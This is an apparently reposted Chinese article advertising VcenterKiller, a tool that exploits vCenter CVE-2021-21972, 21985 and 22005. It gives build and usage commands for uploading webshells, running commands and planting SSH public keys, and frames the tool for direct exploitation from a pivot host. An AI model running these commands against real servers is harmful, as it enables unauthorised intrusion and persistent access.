一款针对Vcenter的综合利用工具 -- VcenterKiller（一键上传webshell）
2022-10-7 08:2:57 Author: Web安全工具库(查看原文) 阅读量:32 收藏

===================================

免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。

0x01 工具介绍

一款针对Vcenter的综合利用工具，包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-2205，提供一键上传webshell，命令执行或者上传公钥使用SSH连接，一般Vcenter都放在内网，并且漏洞特征也都是烂大街，像什么fscan啦一扫就出来了，那么VcenterKiller就不是用来检测目标是否存在漏洞的，而是直接尝试利用，一般通过CS/MSF在跳板上来执行，所以去掉了其余花里胡哨的输出。

0x02 安装与使用

使用方法

go build -o main.exe
./main.exe -u https://192.168.1.1 -m 21985 -c whoami./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥

0x03 项目链接下载

1、通过阅读原文，到项目地址下载

2、关注公众号"web安全工具库"，后台回复：20221007

· 推 荐 阅 读 ·

《深入理解现代JavaScript（Web开发与设计）》

本书首先介绍将新特性添加到 JavaScript 的流程，深入详细地描述每个新特性或者有调整的旧特性，并阐述示例用法、可能的陷阱。蒲松洋、程劭非、桑世龙、付强、吴成忠、时磊和马剑竹国内7位大咖联袂推荐！


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247504947&idx=1&sn=e8c36c885ba8f447ab544cb82d2e90d8&chksm=ebb53b30dcc2b2260cde6cfcea8e7c972491d4239c45e267212697bacc2421de2e71e73d9e96#rd
如有侵权请联系:admin#unsafe.sh